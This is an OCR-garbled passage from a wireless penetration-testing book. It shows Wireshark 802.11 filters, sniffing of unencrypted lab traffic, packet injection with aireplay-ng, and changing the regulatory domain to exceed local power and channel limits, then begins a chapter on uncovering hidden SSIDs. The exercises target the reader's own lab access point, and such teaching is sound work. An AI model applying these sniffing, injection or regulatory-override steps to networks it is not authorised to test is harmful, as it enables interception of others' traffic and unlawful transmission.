File	Edit	Viev	v G	0	Capt	ure	Ana	yze	Sta	atist	tics	Tel	lepł	nony	То	ols II	nterna	als	Help	þ			
	X [0	e (2	Í.			×			ê		Q	4		3	7	7			44		~
Filter:	wla	an.fc.	type	==C)									\$	Ex	pressi	on	Cle	ar	Apply	Sav	e	
No.		Time			So	ource	2					De	stir	ation				P	roto	col Le	ength	Info	^
1	452	147.8	3048	490				6d:0	8														
1	453	147.9	9079	290	00 D -	Link	_62:	6d:0	8			Bro	bad	cast				8	02.1	1	142	Beaco	
1	454	148.0	0098	350	96 D -	Link	_62:	6d:0	8			Bro	bad	cast				8	02.1	1	142	Beaco	
1	455	148.3	123	000	00 D -	Link	62:	6d:0	8			Bro	bad	cast				8	02.1	1	142	Beaco	~
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▷ IEE	E 80	2.11	Bea	con	fra	me,	Flag	s: .															
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ÞF	ixed	l par	amet	ers	(12	2 by	tes)																1
⊽⊺	agge	d pa	rame	ter	s (8	38 b	ytes)															
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0030	00 0	0 64	00	11	04 (00 0	8 5	5 70	73	74	61	69	72	73	(d	. Ups	tai	rs				
0040	01 0)4 82	84	8b	96 (03 0	1 0	1 dd	16	00	50	f2	01	01				.P.					
0050	00 0	00 50	f2	02	01 (00 0	0 5	9 f 2	02	01	00	00	50	f2		₽	. Р.,		Р.				
0060	02 0	05 04	00	01	00 3	30 d	d 1	3 00	50	f2	02	01	01	00		0	P	·					

2. To view Control Frames, modify the filter expression to read **wlan.fc.type == 1**.

			Ca	pturi	ng fror	n mo	n0	[Wir	eshai	rk 1.8	8.5]				_		×
File	Edit Viev	w Go	Captu	ure	Analyze	St	atisti	cs T	eleph	ony	Tools	Interna	ls He	elp			
	j di		<u>)</u> [<u>a</u> 1	6 (2	÷	Q			7	•				`
Filter:	wlan.fc.	type==	:1							\$	Expre	ssion	Clear	Арр	ty Sav	e	
No.	Time		So	urce				[Destin	ation			Prot	ocol	Length	Info	^
	13 1.02	648100	0					P	rivat	:e_64	:81:4	0 (RA)	802.	11	28	Ackno	=
	15 1.02	649300	0					D	-Link	62:	6d:08	(RA)	802.	11	28	Ackno	
	17 1.02	921100	0					P	rivat	e 64	:81:4	0 (RA)	802.	11	28	Ackno	
	19 1.02	922100	0					D	-Link	62:	6d:08	(RA)	802.	11	28	Ackno	
<					111											>	
♥ Fra ▷ Rad ▷ IEE	me 13: 2 iotap He E 802.11	8 byte ader v Ackno	s on 1 0, Le wledg	wire ngth ement	(224 k 18 t, Flag	oits) ps: .	, 28	3 byt	es ca	aptur	ed (2	24 bits)	on i	nter [.]	face O		
0000 0010	00 00 12 00 00 d4	2 00 20 4 00 00	e 48 0 0 00 0	00 00 00 bb	00 0 3a 6	2 6c 4 81	09 40	a0 00) a8 (01		нl :d.	@				

3. To view data frames, modify the filter expression to **wlan.fc.type == 2**.

						c	apt	urin	g fr	om	mo	n0	[٧	Vire	sha	rk 1.	8.5]						-		×
File	Edit	V	iew	G	io	Cap	ture	e A	naly	ze	Sta	atist	ics	Te	lepi	nony	То	ols	Inte	rnal	s He	elp				
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Filter	r: w	lan.	fc.t	ype	==2	2										\$	Ex	pres	sion.	c	lear	Ap	oply	Sav	e	
No.		Tir	ne			S	our	ce						D	estir	nation	1				Prot	toco	l Le	ngth	Info	^
	199	13	.56	368	800	0 Н	onH	aıPr	_70	:bd	:cb			Ne	tge	ar_2	a:7b	:c0			802	.11		42	Nut	
	487	43	.77	553	700	0 P	riv	ate_	64:	81:	40			D-	Lin	k_62	:6d:	08			802	.11		44	QoS	N
	535	48	.57	115	800	0 D	-Li	nk_6	2:6	d:0	8			Pr	iva	te_6	4:81	:40			802	.11		118	QoS	D
	539	48	. 77	053	200	0 P	riv	ate_	64:	81:	40			D-	Lin	k_62	:6d:	08			802	.11		44	QoS	N V
<									1							_										>
 ▷ Fr. ▷ Rai ▷ IEI ▷ Dai 	ame diot EE 8 ta (535 ap 02. 66	: 1 Hea 11 byt	.18 der QoS :es)	byt vC Da	es), L ta,	on .eng Fl	wire th 1 ags:	e (9 .8 .p		bit .F.	s),	11	.8 b	yte	s ca	otur	red	(944	bit	:s) c	on i	nter	face	0	
0000 0010 0020 0030 0040 0050 0060	00 6d 00 a6 4c 90	00 00 08 00 b1 a4 08	12 88 00 00 e8 d1 e1	00 42 22 00 2b 4d 63	2e 2c b0 70 70 9e 50	48 00 62 a2 8f f6 80	00 6d 69 aa 03 b6	00 bb 08 f6 82 90 2e	00 3a 50 b0 2c e5 69	6c 64 77 42 12 e2 af	6c 81 00 9f f6 09 ee	09 40 00 07 38 d3 63	c0 00 e8 77 a9 b5	00 22 20 f9 78 ec 31	a6 b0 34 e7 1f 29 0c	01 62 20 28 68 3b 7c	 m. L.	H .B,. .".b p. .+p. .M .cP.		ll. d.@ w B 8 	.".b .4 (vx.h); .1.					

4. To additionally select a sub-type, use the wlan.fc.subtype filter. For example, to view all the Beacon frames among all Management frames, use the following filter:

(wlan.fc.type	== 0)	&&	(wlan.fc.subtype	==	8).
---------------	-------	----	------------------	----	-----

						С	apt	urir	ng fr	om	moi	nO	[٧	Vire	sha	ark 1.	8.	.5]						_		×
File	Edit	Vie	ew	Go	о (Сар	tur	e A	Analy	ze	Sta	itist	ics	Te	lep	hony	-	Tools In	itern	als	He	elp				
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Filter	:: (w	/lan.f	fc.ty	/pe	==(D) 8	k&	wla	n.fc.s	ubt	ype	==8	8)			\$		Expressio	on	CL	ear	Ap	ply	Sav	e	
No.		Tim	e			S	our	ce						De	esti	natior	n			F	Prot	ocol	Le	ngth	Info	^
				416																				142		0 =
	537	48.	652	957	000	ЭD	-Li	nk_(62:6	d:08	3			Br	oad	cast				E	302.	11		142	Beac	0
	538	48.	755	640	000) D	-Li	nk_	62:6	d:08	3			Br	oad	cast				8	302.	11		142	Beac	0
	541	48.	857	660	000) D	-Li	nk (62:6	d:08	3			Br	oad	cast				8	302.	11		142	Beac	o 💌
<)	•
D Fr	ame S	533:	14	2 k	ovte	es	on	wir	e (1	136	bi	ts)	. 1	42	bvt	es c	ар	otured (1136	bi	ts)	on	int	erfa	ce O	
D Ra	diota	ар Н	ead	er	v0	. L	end	th	18				,													=
Þ IE	E 80	02.1	1 8	lead	con	fr	ame	. F	lads	: .																
√ IE	EE 80	92.1	1 w	ire	eles	ss	LAN	ĺma	nade	men	t f	ram	ie													
⊳	Fixe	d pa	iran	nete	ers	(1	2 k	ovte	es)																	
	Tadd	edip	ara	ame:	ter	s (88	bvt	es)																	
.	⊽ Ta	a: s	SSI	a C	ara	met	ter	set	t: Up	osta	airs	5														
		Taq	Nu	mbe	r:	SS	ID	par	amet	er :	set	(0)													
		- [°]	1			~						-	-											_		<u> </u>
4)	
0000	00	00]	2 (00	2e	48	00	00	00	02	6c	09	aO	00	ас	01		н	1		• •					
0010	00 6d	00 8	30 (00	00	00	††	11	†† † 0	†† 62	tt fc	††	00	22	b0 4c	62			• • •	· · · '	.b					
0020	00	00 0	54 0	22	11	02	00	08	55	70	73	00 7∆	61	70 69	4C 72	73	ſ		Ups	tai	rs.					
0040	01	04 8	32 8	34	8b	96	03	01	01	dd	16	00	50	f2	01	01				.P.						
0050	00	00 5	50	2	02	01	00	00	50	f2	02	01	00	00	50	f2		P	Ρ.		Ρ.					
0060	02	05 0)4 (00	01	00	30	dd	18	00	50	f2	02	01	01	00		0.	F	·						

5. Alternately, you can right-click on any of the header fields in the middle window and then select **Apply as Filter** | **Selected** to add it as a filter.

Chapter 2

Capturin	g from monO [Wireshark 1.8.5]	_ 🗆 ×
File Edit View Go Capture A	nalyze Statistics Telephony Tool:	s Internals Help
	Mark Packet (toggle)	
	Ignore Packet (toggle)	
Filter:	Set Time Reference (toggle)	ssion Clear Apply Save
No. Time Source	Time Shift	Protocol Length Info
537 48.652957000 D-Link_	Edit or Add Packet Comment	802.11 142 Beaco
538 48.755640000 D-Link_	Manually Decalus Address	802.11 142 Beaco
539 48.770532000 Private	Manually Resolve Address	802.11 44 QoS N
<	Apply as Filter 🔰 💙	Selected
▷ Frame 538: 142 bytes on wir	Prepare a Filter	Not Selected face 0
▷ Radiotap Header v0, Length ▷ IEEE 802.11 Beacon frame, F	Conversation Filter	and Selected
⊽ IEEE 802.11 wireless LAN ma	Colorize Conversation	<u>o</u> r Selected
▷ Fixed parameters (12 byte	SCTP >	a <u>n</u> d not Selected
⊽ Tag: SSID parameter se	Follow TCP Stream	o <u>r</u> not Selected
Tag Number: SSID par	Follow UDP Stream	
<	Follow SSL Stream	>
0000 00 00 12 00 2e 48 00 00 0010 00 00 80 00 00 00 ff ff 0020 6d 08 00 22 b0 62 6d 08	Сору	_Hl ".b bmi}∟.
0030 00 00 64 00 11 04 00 08 0040 01 04 82 84 8b 96 03 01	Decode As	Upstairs P
0050 00 00 50 T2 02 01 00 00 0060 02 05 04 00 01 00 30 dd	Print	PP. .0P

6. This will automatically add the correct filter expression for you in the Filter field.

What just happened?

We just learned how to filter packets in Wireshark using various filter expressions. This helps us monitor selected packets from devices we are interested in, instead of trying to analyze all the packets in the air.

Also, we can see that the packet headers of Management, Control and Data frames are in plain text and are not encrypted. Anyone who can sniff the packets can read these headers. It is also important to note that it is also possible for a hacker to modify any of these packets and re-transmit them. As there is no integrity or replay attack mitigation in the protocol, this is very easy to do. We will look at some of these attacks in later chapters.

WLAN and its Inherent Insecurities

Have a go hero – playing with filters

You can consult Wireshark's manual to know more about available filter expressions and how to use them. Try playing around with various filter combinations till you are confident that you can drill down to any level of detail, even in a very large packet trace.

In the next exercise, we will look at how to sniff data packets transferred between our access point and wireless client.

Time for action – sniffing data packets for our network

In this exercise, we will learn how to sniff data packets for a given wireless network. For the sake of simplicity, we will look at packets without any encryption.

Follow these instructions to get started:

- **1.** Switch on the access point we named Wireless Lab. Let it remain configured to use no encryption.
- 2. We will first need to find the channel on which the Wireless Lab access point is running. To do this, open a terminal and run airodump-ng --bssid <mac> mon0 where <mac>, which is the MAC address of our access point. Let the program run, and shortly you should see your access point shown on the screen along with the channel it is running on.
- **3.** We can see from the preceding screenshot that our access point Wireless Lab is running on Channel 11. Note that this may be different for your access point.

In order to sniff data packets going to and fro from this access point, we need to lock our wireless card on the same channel, that is channel 11. To do this, run the iwconfig mon0 channel 11 command and then run iwconfig mon0 to verify it. You should see the Frequency: 2.462 GHz value in the output. This corresponds to Channel 11.



4. Now fire up Wireshark and start sniffing on the mon0 interface. After Wireshark has started sniffing the packets, apply a filter for the bssid of our access point as shown below using wlan.bssid == <mac> in the filter area. Use the appropriate MAC address for your access point.

	Capturing from mon0 [Wireshark 1.8.5]	×
File	Edit View Go Capture Analyze Statistics Telephony Tools Internals Help	
	🕍 😂 😂 🗀 🕭 X C 🚖 9, 🗢 🗢 🏹 🛨 🗐 🕞	~
Filte	r: wlan.bssid==9C:D3:6D:2A:7B:CO	
No.	Time Source Destination Protocol Length Info	
	14 3.104976000 Netgear_2a:7b:c0 Broadcast 802.11 285 Beac	n -
	16 3.129059000 Netgear 2a:7b:c0 EdimaxTe 8f:34:d5 802.11 331 Prob	e Re
<u> </u>		
⊽ Fr	ame 14: 285 bytes on wire (2280 bits), 285 bytes captured (2280 bits) on interface 0 Interface id: 0 WTAP_ENCAP: 23 Arrival Time: Aug 25, 2014 20:39:45.512515000 BST	
<)
0000 0010 0020	00 00 12 00 2e 48 00 00 00 02 9e 09 a0 00 b0 01H	

- 5. In order to see the data packets for our access point, add the following to the filter (wlan.bssid == <mac>) && (wlan.fc.type_subtype == 0x20). Open your browser on the client laptop and type in the management interface the URL of the access point. In my case, as we have seen in *Chapter 1, Wireless Lab Setup*, it is http://192.168.0.1. This will generate data packets that Wireshark will capture.
- **6.** Packet sniffing allows us to analyze unencrypted data packets very easily. This is the reason why we need to use encryption in wireless.

What just happened?

We have just sniffed data packets over the air with Wireshark using various filters. As our access point is not using any encryption, we are able to see all the data in plain text. This is a major security issue as anyone within RF range of the access point can see all the packets if he uses a sniffer such as Wireshark.

WLAN and its Inherent Insecurities

Have a go hero – analyzing data packets

Use Wireshark to analyze the data packets further. You would notice that a DHCP request is made by the client and, if a DHCP server is available, it responds with an address. Then you would find ARP packets and other protocol packets on the air. This is a nice and simple way to do passive host discovery on the wireless network. It is important to be able to see a packet trace and reconstruct how applications on the wireless host are communicating with the rest of the network. One of the interesting features Wireshark provides is the ability to follow a stream. This allows you to view multiple packets together, that are part of a TCP exchange, in the same connection.

Also, try logging into www.gmail.com or any other popular website and analyze the data traffic generated.

We will now see a demonstration of how to inject packets into a wireless network.

Time for action – packet injection

We will be using the aireplay-ng tool, which is available in Kali, for this exercise.

Follow the instructions below carefully:

- 1. In order to do an injection test, first start Wireshark and the filter expression (wlan.bssid == <mac>) && !(wlan.fc.type_subtype == 0x08). This will ensure that we only see non-beacon packets for our lab network.
- 2. Now run the following command aireplay-ng -9 -e Wireless Lab -a <mac> mon0 on a terminal.
- **3.** Go back to Wireshark and you should see a lot of packets on the screen now. Some of these packets have been sent by aireplay-ng, which we launched, and others are from the access point Wireless Lab in response to the injected packets.

What just happened?

We just successfully injected packets into our test lab network using aireplay-ng. It is important to note that our card injected these arbitrary packets into the network without being actually connected to the access point Wireless Lab.

Have a go hero – installing Kali on VirtualBox

We will look at packet injection in greater detail in later chapters; however, feel free to explore other options of the Aireplay-ng tool to inject packets. You can verify whether injection succeeded by using Wireshark to monitor the air.

Important note on WLAN sniffing and injection

WLANs typically operate within three different frequency ranges – : 2.4 GHz, 3.6 GHz and 4.9/5.0 GHz. Not all Wi-Fi cards support all these ranges and associated bands. For instance,, an Alfa card only supports IEEE 802.11b/g. This would mean that this card cannot operate in 802.11a/n. The key here is to sniff or inject packets in a particular band; your Wi-Fi card will need to support it.

Another interesting aspect of Wi-Fi is that, in each of these bands, there are multiple channels. It is important to note that your Wi-Fi card can only be on one channel at any given moment. It is not possible to tune into multiple channels at the same time. The best analogy I can give you is your car radio. You can tune it to only one of the available channels at any given time. If you want to hear to something else, you will have to change the channel. The same principle applies to WLAN Sniffing. This brings us to an important conclusion—we cannot sniff all channels at the same time; we will need to select the channel that is of interest to us. What this means is that, if our access point of interest is on channel 1, we will need to set our card on channel 1.

Though we have addressed WLAN sniffing in the above paragraphs, the same applies to injection as well. To inject packets on a specific channel, we will need to put the card radio on that channel.

Let's now do some exercises on setting our card to specific channels, channel hopping, setting regulatory domains, power levels etc.

Time for action – experimenting with your adapter

Follow the instructions below carefully:

1. Enter the iwconfig wlan0 command to check the capabilities of your card. As you can see in the figure below, my adapter can operate in the *b*, *g*, and *n* bands.

root@kali	:~# iw	config	mon0								
mon0	IEEE	802.11b	ogn Mo	de:Mon	itor	- Fre	quenc	y:2.462	2 GHz	Tx-Power=20	dBm
	Retry	/ long	limit:	7 RT	S th	nr:off	Fr	agment	thr:o	ff	
	Power	⁻ Manage	ement:o	n							

2. To set the card on a particular channel, we use the iwconfig mon0 channel X commands.



3. The iwconfig series of commands does not have a channel hopping mode. One could write a simple script over it to make it do so. An easier way is to use Airodump-NG with options to either hop channels arbitrarily, use only a subset, or use only selected bands. All these options are illustrated in the screenshot below when we run airodump-ng --help:

						root@kali: ~		×
1	File	Edit	View	Search	Terminal	Help		
	Opt	ions i w w b u s h -f -f -r -r x o i	eacons pdate howack erlin anufac utput	<pre>>cultion > >cultion > ></pre>	<pre>refix> : refix> : msecs> : msecs> : msecs> : rmats> : ve-one :</pre>	Save only captured IVs Use GPSd Dump file prefix same aswrite Record all beacons in dump file Display update delay in seconds Prints ack/cts/rts statistics Hides known stations forshowack Time in ms between hopping channels Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds) Read packets from that file Active Scanning Simulation Display manufacturer from IEEE OUI list Output format. Possible values: pcap, ivs, csv, gps, kismet, netxml Removes the message that says		
	Fil	ter	optior		ites ·	fixed channel <interface>: -1</interface>		

What just happened?

We understood that both wireless sniffing and packet injection depend on the hardware support available. This means that we can only operate on bands and channels allowed by our card. Also, the wireless card radio can only be on one channel at a time. This further means that we can only sniff or inject in one channel at a time.

Have a go hero – sniffing multiple channels

If you need to simultaneously sniff on multiple channels, you will require multiple physical Wi-Fi cards. If you can procure additional cards, then try to sniff on multiple channels simultaneously.

The role of regulatory domains in wireless

The complexities of Wi-Fi don't end here. Every country has its own unlicensed spectrum allocation policy. This specifically dictates allowed power levels and allowed users for the spectrum. In the US, for example, the FCC decides this and, if you use WLANs in the US, you have to abide by these regulations. In some countries, not doing this is a punishable offense.

Now let's look at how we can find the default regulatory settings and then how to change them if required.

Time for action – experimenting with your adapter

Follow these instructions carefully:

- **1.** Reboot your computer and do not connect your adapter to it yet.
- 2. Once logged in, monitor the kernel messages using the tail command:



- [31] -

Insert the adapter, and you should see something that resembles the following screenshot. This shows the default regulatory settings applied to your card:

root@kali: ~	_	• ×
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> erminal <u>H</u> elp		
<pre>root@kali:~# tail -f -n 0 /var/log/messages Aug 25 19:58:17 kali kernel: [2610.736263] usb 1-1: new high-speed umber 3 using ehci hcd</pre>	USB devi	.ce n
Aug 25 19:58:17 kali kernel: [2610.894727] usb 1-1: New USB device dor=7392. idProduct=7711	found, i	.dVen
Aug 25 19:58:17 kali kernel: [2610.894734] usb 1-1: New USB device =1, Product=2, SerialNumber=3	strings:	Mfr
Aug 25 19:58:17 kali kernel: [2610.894738] usb 1-1: Product: 802.1 Aug 25 19:58:17 kali kernel: [2610.894741] usb 1-1: Manufacturer: Aug 25 19:58:17 kali kernel: [2610.894744] usb 1-1: SerialNumber: 2 Aug 25 19:58:18 kali kernel: [2611.180017] usb 1-1: reset high-spec	l n WLAN Ralink 1.0 ed USB de	vice
number 3 using ehci_hcd Aug 25 19:58:18 kali mtp-probe: checking bus 1, device 3: "/sys/dev: 00/0000:00:11.0/0000:02:03.0/usb1/1-1"	ices/pci0	0000:
Aug 25 19:58:18 kali mtp-probe: bus: 1, device: 3 was not an MTP dev Aug 25 19:58:18 kali kernel: [2611.868427] rt2800usb 1-1:1.0: firmw oaded rt2870.bin into memory	vice ware: age	ent l
Aug 25 19:58:21 Kall Kernel: [2614.62262/] 19:06; ADDRUONF(NEIDEV_OF nk is not ready The quieter you become, the more you are able to hear.): wlani	: 11

3. Let's assume that you are based in the US. To change your regulatory domain to the US, we issue the command iw reg set US in a new terminal:



If the command is successful, we get an output such as the one in the following screenshot in the terminal where we monitoring /var/log/messages:

Chapter 2

root@kali: ~ _	□ ×
File Edit View Search Terminal Tabs Help	
│ root@kali: ~ × × root@kali: ~	×
<pre>root@kali:~# tail -f -n 0 /var/log/messages Aug 25 20:00:07 kali karmala [2750 241050] af 202114 Calling CDDA for anym</pre>	
US	LTY.
Aug 25 20:00:37 kali kernel: [2750.350862] cfg80211: Regulatory domain cha	inged
to country: US Aug 25 20:00:37 kali kernel: [2750.350867] cfg80211: (start_freq - end_f bandwidth) (max_antenna_gain_max_eirn)	'req @
Aug 25 20:00:37 Kali kernel: [2750.350871] cfg80211: (2402000 KHz - 2472	1000 K
Aug 25 20:00:37 kali kernel: [2750.350916] cfg80211: (5170000 KHz - 5250 Hz @ 40000 KHz), (300 mBi, 1700 mBm)	000 K
Aug 25 20:00:37 kali kernel: [2750.350920] cfg80211: (5250000 KHz - 5330 Hz @ 40000 KHz). (300 mBi. 2000 mBm)	000 K
Aug 25 20:00:37 kali kernel: [2750.350923] cfg80211: (5490000 KHz - 5600 Hz @ 40000 KHz), (300 mBi, 2000/mBm)	000 K
Aug 25 20:00:37 kali kernel: [2750.350926] cfg80211: (5650000 KHz - 5710	000 K
Aug 25 20:00:37 kali kernel: [2750.350929] cfg80211: be (5735000 KHz - 5835 Hz @ 40000 KHz), (300 mBi, 3000 mBm)	000 K

4. Now try changing the card to channel 11; it will work. But, when you try changing it to channel 12, you get an error. This is because channel 12, cannot be used in the US.



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WLAN and its Inherent Insecurities

5. The same applies for power levels. The US only allows a maximum of 27 dBm (500 milliwatts); thus even though my adapter has an advertised power of 1 Watt (30 dBm), we cannot set the card to the maximum transmit power:



6. However, if we were in Bolivia, then we could transmit at a power of 1 Watt as this is allowed there. As we can see, once we set the regulatory domain to Bolivia—iw reg set BO—we can change the card power to 30DMB or 1 Watt. We can also use channel 12 in Bolivia, which was disallowed in the US:

root@kali: ~	- 1		×
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp			
root@kali: ~ × root@kali: ~		×	
<pre>root@kali:~# iw reg set B0 root@kali:~# iwconfig wlan1 txpower 30 root@kali:~# iwconfig wlan1 channel 12 root@kali:~# iwconfig wlan1 channel 12 root@kali:~# iwconfig wlan1 wlan1 IEEE 802.11bgn ESSID:off/any Mode:Managed Frequency:2.467 GHz Access Point: Not-Associated Tx-Power=30 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on</pre>			
root@kali:~#			

What just happened?

Every country has its own regulations for the use of the unlicensed wireless band. When we set our regulatory domain to a specific country, our card will obey the allowed channels and power levels specified. However, it is easy to change the regulatory domain of the card and force it to work on disallowed channels and to transmit at a power level that is greater than allowed.

Have a go hero – exploring regulatory domains

Look at the various parameters you can set such as channel, power, regulatory domains etc. using the *iw* series of commands on Kali. This should give you a firm understanding of how to configure your card when you are in various countries and require to change your card settings.

Pop quiz – WLAN packet sniffing and injection

Q1. Which frame types are responsible for authentication in WLANs?

- 1. Control
- 2. Management
- 3. Data
- 4. QoS

Q2. What is the name of the second monitor mode interface that can be created on wlan0 using airmon-ng?

- 1. Mon0
- 2. Mon1
- 3. 1Mon
- 4. Monb

Q3. What is the filter expression to view all non-beacon frames in Wireshark?

- 1. !(wlan.fc.type_subtype == 0x08)
- 2. wlan.fc.type_subtype == 0x08
- 3. (no beacon)
- 4. Wlan.fc.type == 0x08

WLAN and its Inherent Insecurities

Summary

In this chapter, we have made some key observations about WLAN protocols.

Management, Control and Data frames are unencrypted and thus can be easily read by someone who is monitoring the airspace. It is important to note here that the data packet payload can be protected using encryption to keep it confidential. We will talk about this in the next chapter.

We can sniff the entire airspace in our vicinity by putting our card into monitor mode.

As there is no integrity protection in Management and Control frames, it is very easy to inject these packets by modifying them or replaying them as-is using tools such as aireplay-ng.

Unencrypted data packets can also be modified and replayed back to the network. If the packet is encrypted, we can still replay the packet as-is, as WLAN by design does not have packet replay protection.

In the next chapter, we will look at different authentication mechanisms that are used in WLANs such as MAC filtering and shared Authentication etc. and understand the various security flaws in them through live demonstrations.

Bypassing WLAN Authentication

"A false sense of security is worse than being unsure."

Anonymous

A false sense of security is worse than being insecure, as you may not be prepared to face the eventuality of being hacked.

WLANs can have weak authentication schemas that can be easily broken and bypassed. In this chapter, we will take a look at the various basic authentication schemas used in WLANs and learn how to beat them.

In this chapter, we will take a look at the following topics:

- Uncovering hidden SSIDs
- Beating MAC filters
- Bypassing Open Authentication
- Bypassing Shared Key Authentication

Bypassing WLAN Authentication

Hidden SSIDs

In the default configuration mode, all access points send out their SSIDs in Beacon frames. This allows clients in the vicinity to discover them easily. Hidden SSIDs is a configuration where the access point does not broadcast its SSID in Beacon frames. Thus, only clients that know the SSID of the access point can connect to it.

Unfortunately, this measure does not provide robust security, but most network administrators think it does. Hidden SSIDs should not be considered a security measure by any stretch of the imagination. We will now take a look at how to uncover hidden SSIDs.

Time for action – uncovering hidden SSIDs

Perform the following instructions to get started:

1. Using Wireshark, if we monitor Beacon frames in the Wireless Lab network, we are able to see the SSID in plain text. You should see Beacon frames, as shown in the following screenshot:

1 0				mon0: C	Capturing - Wi	reshark							
<u>File E</u>	dit <u>V</u> iew <u>G</u> o <u>C</u> ap	ture <u>A</u> nalyze <u>S</u> tatistics <u>H</u> elp											
۵ 🖷	i 🗟 🈫 🕍 I	🖿 🖬 🗙 😂 🖨 🔍	🗢 🌳 🤏 🐴 👱	🔳 📑 🗨	Q @ [] 🛛 🏹 🛛	🗹 5 %	Ħ					
🕅 <u>E</u> ilte	r: wlan.addr == 0	00:21:91:d2:8e:25	▼ ♣ <u>E</u> xpression.	실 <u>C</u> lear 🍕 Ap	ply								
No	Time	Source	Destination	Protocol	Info								TP
		D-Link d2:8e:25											
	2 0.060971	D-Link_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2400,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab"	- 1
	3 0.188981	D-Link_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2401,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab"	- 1
	4 0.265811	D-Link_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2402,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab"	- 1
	5 0.382718	D-Link_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2403,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab	- 1
	7 0.468781	D-L1nk_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2404,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab	- 1
	9 0.574691	D-Link_d2:8e:25	Broadcast	IEEE C	302 Beacon	frame,	SN=2405,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab"	- 1
	11 0 777055	D-Link_d2:8e:25	Broadcast	TEEE 6	302 Beacon	frame,	SN=2400,	EN-0	Flage= C	BI=100,	SSID= "Wireless	Lab"	- 1
	12 0.904841	D-Link d2:8e:25	Broadcast	IFFE 8	B02 Beacon	frame,	SN=2408	FN=0	Flags= C	BI=100,	SSID= Wireless	Lab"	- 1
	14 1.082922	D-Link d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame.	SN=2410.	FN=0	Flags=C.	BI=100,	SSID="Wireless	Lab"	- 1
	15 1.199059	D-Link d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2411,	FN=0	Flags=C,	BI=100,	SSID="Wireless	Lab"	- 1
	16 1.315985	D-Link_d2:8e:25	Broadcast	IEEE 8	302 Beacon	frame,	SN=2412,	FN=0,	Flags=C,	BI=100,	SSID="Wireless	Lab"	
h Engl	no 1 (051 but	ee op wire. 251 butee	conturod)										- 7
P Prai	ieton Hondon	vo Longth 22	captured)										- 1
F Rau	Lotap Header	vo, Length 32	0										
V IEE	= 002.11 Beac	on frame, Flags:											
V IEE	= 802.11 wire	(10 huta)	ame										- 1
P F 1	.xed parameter	rs (12 bytes)											- 1
▼ 18	igged paramete	ers (1/9 bytes)											- 1
~	SSID paramete	er set: "Wireless Lab"											- 1
	lag Number:	0 (SSID parameter set)										- 1
	Tag length:	12											- 1
	Tag interpr	etation: Wireless Lab											- 1
~	Supported Rat	es: 1.0(B) 2.0(B) 5.5	(B) 11.0(B)										- 1
	Tag Number:	1 (Supported Rates)											- 1
1	Tag length:	4											- 14
	Tag interpr	etation: Supported rat	es: 1.0(B) 2.0(B)	5.5(B) 11.0	(B) [Mbit	/sec]							- 1
~	DS Parameter	set: Current Channel:	11										1.
0000		24 48 00 00 04 01 12	77 01 00 00 00	714									-6
0000	10 02 00 00	21 40 00 00 0T 8d 12	// UI UU UU UU	·· ·/Ħ ···	w								1
0020	10 02 90 09	ff ff ff ff ff ff ff 00	21 91 d2 8e 25		1 %								1
0030	00 21 91 d2	8e 25 f0 95 80 e1 ab	84 03 00 00 00	. ! %									
mon0: •	live capture in prog	ress> Fi Packets: 626 Displaye	d: 274 Marked: 0								Profile: Default		1

2. Configure your access point to set the Wireless Lab network as a hidden SSID. The configuration option to do this may differ across access points. In my case, I need to check the Invisible option in the Visibility Status option, as shown in the following screenshot:

TP-LIN	Κ°	
Status		
Quick Setup	Wireless Security	
WPS		
Network	Disable Security	
Wireless		
- Wireless Settings		
- Wireless Security	WPA/WPA2 - Personal(Recommended)	
- Wireless MAC Filtering	Version: WPA-PSK V	
- Wireless Advanced	Encryption: AES •	
- Wireless Statistics	Wireless Password: abcdefgh	
DHCP	(You can enter ASCII characters between 8 and 63 or Hexadecimal characters b	etween 8 and 64.)
Forwarding	Group Key Update Period: 0 Seconds	
Security	(Keep it default if you are not sure, minimum is 30, 0 means no update)	
Parental Control	WPA/WPA2 - Enterprise	
Access Control	Version: Automatic 🔻	
Advanced Routing	Encryption: Automatic	
Bandwidth Control	Radius Server IP:	
IP & MAC Binding	Radius Port: 1812 (1-65535, 0 stands for default port 1812)	
Dynamic DNS	Radius Password:	
System Tools	Group Key Undate Period: 0 (in second minimum is 30.0 means no undate)	
	Type: Automatic V	
	WEP Key Format: Hexadecimal	
	Key Selected WEP Key Key Type	
	Key 1: ABCDEFABCDEFABCDEF12	
	Key 2: Disabled V	

3. Now if you take a look at the Wireshark trace, you will find that the SSID Wireless Lab has disappeared from the Beacon frames. This is what hidden SSIDs are all about:

2 🛛				mon0: Captu	ring - Wire	shark						
<u>Eile E</u> dit	⊻iew <u>G</u> o <u>C</u> ap	ture Analyze <u>S</u> tatistics <u>H</u> elp										
a	ên 🛃 🗑 i	🖿 🖾 🗶 🕄 📇 l 🔍	🗢 🔿 🍕 🛃	I 🔲 📑 I 🔍 G	2, 0, 17] 🌌 (🗹 🛃 %	B				
Eiter:	wlan.addr == 0	0:21:91:d2:8e:25	▼ ♣ Expression	. 🔒 <u>c</u> lear 🍕 Apply								
No	Time	Source	Destination	Protocol	info							-
4		D-Link d2:8e:25		IEEE 802	Beacon			FN=0,			SSID=Broadcast	_
6	0.279571	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1103,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
9	0.378379	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1104,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
